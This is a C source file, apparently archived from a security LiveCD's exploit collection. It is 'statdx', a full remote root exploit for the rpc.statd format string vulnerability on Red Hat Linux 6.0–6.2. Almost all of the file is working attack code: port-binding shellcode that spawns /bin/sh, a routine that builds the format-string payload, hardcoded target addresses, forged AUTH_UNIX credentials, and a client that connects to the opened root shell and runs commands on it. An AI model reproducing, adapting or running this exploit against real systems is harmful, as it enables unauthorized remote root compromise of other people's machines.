home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
rpc
/
statdx.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
19KB
|
611 lines
/**
*** statdx
*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
*** by ron1n <shellcode@hotmail.com>
***
*** August 3, 2000
*** Sydney, Australia
***
*** Oh you prob'ly won't remember me
*** It's prob'ly ancient history
*** I'm one of the chosen few
*** Who went ahead and fell for you
***
*** $ gcc -o statdx statdx.c ; ./statdx -h
***
*** Thanks to smiler for the format string vulnerability clarification.
***
*** background info
*** ---------------
*** rpc.statd is an ONC RPC server that implements the Network Status
*** Monitor RPC protocol to provide reboot notification. It is used by
*** the NFS file locking service (rpc.lockd) when it performs lock
*** recovery.
***
*** Due to a format string vulnerability in a call to syslog() within
*** its logging module, rpc.statd can be exploited remotely by script
*** kids bent on breaking into your Redhat Linux box and defacing your
*** website with crackpot political musings.
***
*** This is not a traditional buffer overflow vulnerability. The data
*** are kept within the bounds of the buffer by means of a call to
*** vsnprintf(). The saved return address can be overwritten indirectly
*** without a contiguous payload. syslog() is given, for the most part,
*** a user-supplied format string with no process-supplied arguments.
*** Our format string will, if carefully constructed, cause the process
*** to cull non-arbitrary addresses from the top of the stack for
*** sequential writes using controlled values. Exploitation requires
*** an executable stack on the target host -- almost invariably the
*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
***
*** exploit info
*** ------------
*** You have one shot at this in most situations, so get it right!
***
*** If you know the port number rpc.statd is serving requests on, you
*** can supply the port number on the commandline to bypass the initial
*** portmapper query. This is very useful for hosts which are filtering
*** inbound connections to the portmapper. The default attack protocol
*** is UDP. There is a commandline option to use TCP. Apparently, the
*** dispatcher uses both protocols by default.
***
*** If you're only interested in exploiting a host, then you can safely
*** skip the following information. You'll only need a buffer address
*** to get started. This buffer address will either be one of my canned
*** ones or your own one. It must be precise, and this is where you're
*** likely to experience difficulties with your attacks.
***
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** | |
*** %esp buffer[1024]
***
*** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]--->
*** | r | r+1 | r+2 | r+3 |
***
*** buffer -> This is the address you'll need (-a and -l options)
*** str -> Process-supplied string; 24 bytes long
*** 4 -> Duplicate dwords to satisfy the %!d specifiers and
*** the double %n when two successive values are equal
*** r -> Stack position of saved eip
*** %8x.. -> Wipes the va_list dword and str; 9 by default (-w option)
*** %!x -> Used for padding to form an aggregate overwrite value;
*** the exclamation mark denotes a field width. This may
*** or may not be present, depending on the value. An
*** algorithm is used to allow tricky values.
*** %n -> Writes overwrite value to the corresponding address
*** sc -> Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
*** awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024
#define max(a,b) ((a)>(b)?(a):(b))
#define NOP 0x90
/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133 bytes
*/
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c" /* jmp 0x7c */
/* kungfu: ------------------------------------------------------------ */
"\x59" /* popl %ecx */
"\x89\x41\x10" /* movl %eax,0x10(%ecx) */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08" /* movl %eax,0x8(%ecx) */
"\xfe\xc0" /* incb %al */
"\x89\x41\x04" /* movl %eax,0x4(%ecx) */
"\x89\xc3" /* movl %eax,%ebx */
"\xfe\xc0" /* incb %al */
"\x89\x01" /* movl %eax,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02" /* movb $0x2,%bl */
"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */
"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */
"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */
"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */
"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */
"\x88\x01" /* movb %al,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04" /* movb $0x4,%bl */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05" /* movb $0x5,%bl */
"\x30\xc0" /* xorb %al,%al */
"\x88\x41\x04" /* movb %al,0x4(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce" /* movl %ecx,%esi */
"\x88\xc3" /* movb %al,%bl */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */
"\x30\xc0" /* xorb %al,%al */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x0c" /* movl %esi,0xc(%esi) */
"\x8d\x56\x10" /* leal 0x10(%esi),%edx */
"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */
"\x89\xf3" /* movl %esi,%ebx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01" /* movb $0x1,%al */
"\xcd\x80" /* int $0x80 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff"; /* call -0x81 */
enum res
{
stat_succ,
stat_fail
};
struct sm_name
{
char *mon_name;
};
struct sm_stat_res
{
enum res res_stat;
int state;
};
struct type
{
int type;
char *desc;
char *code;
u_long bufpos;
int buflen;
int offset;
int wipe;
};
struct type types[] =
{
{0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
{1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
{2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
{0, NULL, NULL, 0, 0, 0, 0}
};
bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{
if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
return (FALSE);
return (TRUE);
}
bool_t
xdr_res(XDR *xdrs, enum res *objp)
{
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{
if (!xdr_res(xdrs, &objp->res_stat))
return (FALSE);
if (!xdr_int(xdrs, &objp->state))
return (FALSE);
return (TRUE);
}
void
usage(char *app)
{
int i;
fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] <target>\n");
fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
fprintf(stderr, "-d\tuse a hardcoded <type>\n");
fprintf(stderr, "Available types:\n");
for(i = 0; types[i].desc; i++)
fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);
exit(EXIT_FAILURE);
}
void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "cd /; ls -alF; id;\n", 19, 0);
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
perror("select()");
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
perror("recv()");
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
errno = 0;
if(send(sockd, buff, ret, 0) != ret)
{
if(errno) perror("send()");
else fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
void
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(39168);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket()");
exit(EXIT_FAILURE);
}
if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
{
printf("OMG! You now have rpc.statd technique!@#$!\n");
runshell(sockd);
}
close(sockd);
}
char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
int i, j, cnt, pad;
char pbyte, *buff, *ptr;
u_long retpos;
u_long dstpos;
while(bufpos % 4) bufpos--;
/* buflen + ebp */
retpos = bufpos + buflen + 4;
/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/
pbyte = retpos & 0xff;
/* Yes, it's 0x24 */
if(pbyte == 0x00 || pbyte == 0x24)
{
fprintf(stderr, "Target address space contains a poison char\n");
exit(EXIT_FAILURE);
}
/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/
/* str */
cnt = 24;
/* 1 = process nul */
buflen -= cnt + 1;
if(!(buff = malloc(buflen + 1)))
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ptr = buff;
memset(ptr, NOP, buflen);
for(i = 0; i < 4; i++, retpos++)
{
/* junk dword */
for(j = 0; j < 4; j++)
*ptr++ = retpos >> j * 8 & 0xff;
/* r + i */
memcpy(ptr, ptr - 4, 4);
ptr += 4; cnt += 8;
}
/* restore */
retpos -= 4;
for(i = 0; i < wipe; i++)
{
/* consistent calculations */
strncpy(ptr, "%8x", 3);
ptr += 3; cnt += 8;
}
dstpos = bufpos + offset;
/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/
for(i = 0; i < 4; i++)
{
pad = dstpos >> i * 8 & 0xff;
if(pad == (cnt & 0xff))
{
sprintf(ptr, "%%n%%n");
ptr += 4; continue;
}
else
{
int tmp;
/* 0xffffffff = display count of 8 */
while(pad < cnt || pad % cnt <= 8) pad += 0x100;
pad -= cnt, cnt += pad;
/* the source of this evil */
tmp = sprintf(ptr, "%%%dx%%n", pad);
ptr += tmp;
}
}
*ptr = NOP;
/* plug in the shellcode */
memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
buff[buflen] = '\0';
printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
printf("wiping %d dwords\n", wipe);
return buff;
}
struct in_addr
getip(char *host)
{
struct hostent *hs;
if((hs = gethostbyname(host)) == NULL)
{
herror("gethostbyname()");
exit(EXIT_FAILURE);
}
return *((struct in_addr *) hs->h_addr);
}
int
main(int argc, char **argv)
{
int ch;
char *buff;
CLIENT *clnt;
enum clnt_stat res;
struct timeval tv, tvr;
struct sm_name smname;
struct sm_stat_res smres;
struct sockaddr_in addr;
int type = -1;
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;
int sockp = RPC_ANYSOCK;
extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;
while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
{
switch(ch)
{
case 't': usetcp = 1; break;
case 'p': sscanf(optarg, "%hu", &port); break;
case 'a': sscanf(optarg, "%lx", &bufpos); break;
case 'l': buflen = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
case 's': timeout = atoi(optarg); break;
case 'w': wipe = atoi(optarg); break;
case 'd': type = atoi(optarg); break;
default : usage(argv[0]);
}
}
if(!(target = argv[optind]))
{
fprintf(stderr, "No target host specified\n");
exit(EXIT_FAILURE);
}
if(type >= 0)
{
if(type >= sizeof types / sizeof types[0] - 1)
{
fprintf(stderr, "Invalid type\n");
exit(EXIT_FAILURE);
}
sc = types[type].code;
bufpos = types[type].bufpos;
buflen = types[type].buflen;
offset = types[type].offset;
wipe = types[type].wipe;
}
if(!bufpos)
{
fprintf(stderr, "No buffer address specified\n");
exit(EXIT_FAILURE);
}
bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if(!usetcp)
{
clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
if(clnt == NULL)
{
clnt_pcreateerror("clntudp_create()");
exit(EXIT_FAILURE);
}
tvr.tv_sec = 2;
tvr.tv_usec = 0;
clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
if(clnt == NULL)
{
clnt_pcreateerror("clnttcp_create()");
exit(EXIT_FAILURE);
}
}
/* AUTH_UNIX / AUTH_SYS authentication forgery */
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;
res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
(caddr_t) &smres, tv);
if(res != RPC_SUCCESS)
{
clnt_perror(clnt, "clnt_call()");
printf("A timeout was expected. Attempting connection to shell..\n");
sleep(5); connection(addr);
printf("Failed\n");
}
else
{
printf("Failed - statd returned res_stat: (%s) state: %d\n",
smres.res_stat ? "failure" : "success", smres.state);
}
free(buff);
clnt_destroy(clnt);
return -1;
}
/* www.hack.co.za [7 August 2000]*/